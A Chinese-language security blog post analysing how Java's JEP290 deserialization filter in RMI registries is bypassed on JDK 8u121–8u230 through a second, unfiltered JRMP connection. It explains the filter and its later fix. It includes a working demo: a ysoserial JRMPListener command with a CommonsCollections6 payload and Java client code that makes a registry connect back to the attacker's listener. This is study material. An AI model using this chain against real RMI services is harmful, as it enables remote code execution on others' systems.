前言:其实是写了RMI反序列化以及3端互打的,但是感觉基本上都是摘抄网上的有点啰嗦就删了。然后下文主要是讲绕过RMI反序列化中的JEP290。然后笔者是把其绕过原理理解成2条通信(或者说线程)而设置JEP290只作用于第一条通信,通过第二条通信进行绕过

JEP290

参考很多这篇文章,https://www.anquanke.com/post/id/259059#h3-1

JEP290干嘛的,简单说就是一个防御反序列化攻击的黑白名单过滤器

  1. 提供一个限制反序列化类的机制,白名单或者黑名单
  2. 限制反序列化的深度和复杂度
  3. 为 RMI 远程调用对象提供了一个验证类的机制
  4. 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器。

JEP290支持的版本:

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

设置JEP290的方式有下面两种:

  1. 通过setObjectInputFilter来设置filter
  2. 直接通过conf/security/java.properties文件进行配置

JEP290应用

RMI反序列化中应用在register端,比如bind绑定对象时,JEP290是需要设置的,像Client和Server之间的互打则没有JEP290的检测,所以之后的版本还是能相互打。

在8u121后,java在oldDispatch#unmarshalCustomCallData()中通过setObjectInputFilter进行设置

image-20250116164428155

image-20250116164635356

这里UnicastServerRef.this.filter存储的是一个表达式RegistryImpl::registryFilter,这也是为什么后面会调到这个registryFilter方法进行检测

image-20250116170131417

JEP290作用点

没有JEP290时,我们通过下图readObject就可以成功实现反序列化攻击

image-20250116163537694

JEP290作用点也在这个readObject中,这里serialFilter就是前面的filter(RegistryImpl::registryFilter),进入registryFilterregistryFilter就是JEP290设置的过滤Filter,这里会先将需要反序列化的类进行白名单检测(就是这个return判断),然后再进行反序列化

image-20250116171006272

image-20250116165212572

白名单如下:

String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

这里我们的恶意对象不在白名单中,从而导致我们反序列化攻击失败

Bypass 8u121~8u230

这里绕过思路是,serialFilter作用于我们的恶意Server端和Register端的反序列化,但其实在这个过程中还存在一段通信,而这段通信中的serialFilter和第一段通信的serialFilter是相互独立的,及第二段通信反序列化不会有这个检测,且这段通信的数据也是序列化传输的,所以如果我们可以在第一段流程中控制第二段通信的服务地址,连接上我们的恶意服务,返回恶意反序列化内容即可反序列化攻击成功,光看这段描述可能不太能理解,不用担心,可以看看下面具体分析

实现demo

这里攻击的是register

依次执行下面命令和java文件

C:\MyFiles\Tools\ENV\JAVA\jdk1.8.0_192\bin\java.exe -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections6 "calc"

RMIRegistry

package JEP290;

import java.rmi.registry.LocateRegistry;

public class RMIRegistry {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            System.out.println("RMI Registry Start");
        } catch (Exception e) {
            e.printStackTrace();
        }
        while (true) ;
    }
}

DefineClient

package JEP290;

import com.example.HelloImpl;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class DefineClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("localhost", 3333);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
// lookup方法也可以,但需要手动模拟lookup方法的流程
        registry.bind("pwn", handler);
    }
}

简单流程分析

在原先readOject下面这里var2.releaseInputStream();会进行第二段通信利用

image-20250116183504927

registerRefs会得到JRMP段服务地址,这个值怎么初始化的后面会提到

image-20250116183653984

这里lookup其实没干什么,只是封装了下我们的var0

image-20250116184054361

image-20250117090443370

后续在executeCall()this.getInputStream();建立新的通讯,然后将接收序列化数据执行反序列化

image-20250117092945164

image-20250116184555886

调用栈

executeCall:220, StreamRemoteCall (sun.rmi.transport)
invoke:375, UnicastRef (sun.rmi.server)
dirty:109, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:80, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

TCPEndpoint(JRMP段地址)的赋值

他的赋值其实是在原先反序列化利用点开始的

image-20250117091153045

我们设置的对象是专门继承RemoteObject(继承Remote在白名单上)的,到其的readObject,跟进ref.readExternal(in);

image-20250117091216556

跟进LiveRef.read

image-20250117091252179

这里会从序列化数据提取出ipport,生成一个TCPEndpoint赋给var2,然后封装成一个LiveRef传到var6.saveRef()

image-20250117091505833

saveRef()里最后存在到incomingRefTable这个table里面,可以回头看利用分析,就是从这个变量取的对象

image-20250117091528593

2段通信 & serialFilter

这里有个点需要搞清楚关于serialFilter

第一段通信

第一段通信,第一段通信是建立于我们Server端bind(),向Register端进行数据传输,记住这里的ConnectionInputStream@982编号,他的super的super既是ObjectInputStream(存储serialFilter)

image-20250116175215389

然后没有特别设置的话,serialFilter是为null

image-20250116175611151

第一段通信中,我们知道在unmarshalCustomCallData()中给this.serialFilter设置了值,注意这里编号ConnectionInputStream@982

image-20250116175749107

第二段通信,JRMP协议

注意到UnicastRef#invoke=>executeCall()=>this.getInputStream();会建立新的通信,这里编号为ConnectionInputStream@1160

image-20250116180232622

public ObjectInput getInputStream() throws IOException {
        if (this.in == null) {
            Transport.transportLog.log(Log.VERBOSE, "getting input stream");
            this.in = new ConnectionInputStream(this.conn.getInputStream());
        }

        return this.in;
    }

image-20250116180555439

进行初始化,所以这里serialFilternull,并不存在第一段通信设置的值

image-20250116180932774

反序列化的时候也不会存在检测

image-20250116181200490

image-20250116181059282

小结:

这里我想表达什么呢,就是分清楚,这种方法为什么可以绕过JEP290,第一段通信是和Server端,第二段是和JMRP端。这里ConnectionInputStream其实就代表着ObjectInputStream,而第一段通信中设置的serialFilter只作用于第一段通信中,及只作用于Register和Server之间的readObject中!!(JEP290作用域

相信对上面的分析,对JEP290有比较清晰的理解了

修复:

dirty()方法中建立通讯后,给this.filter设置了一个JEP290(表达式)

image-20250117101356593

然后在this.inserialFilter中设置上这个filter

image-20250117102416120

然后被检测出来

image-20250117102758820

Bypass 8u231~8u240

在8u231之前我们是通过dirty()这里绕过的,然后被修复了。8u231这里这是通过直接达到UnicastRef#invoke,不经过dirty(),仅靠第一次反序列化完成这些操作。但是下一个版本就被修了hhh,具体可以参考这篇https://www.anquanke.com/post/id/259059#h3-10

参考:

https://xz.aliyun.com/t/8706?time__1311=n4%2BxnD0DcDu0eD5Y40HpDUhEIDkB711H4D#toc-8

https://www.anquanke.com/post/id/259059#h3-1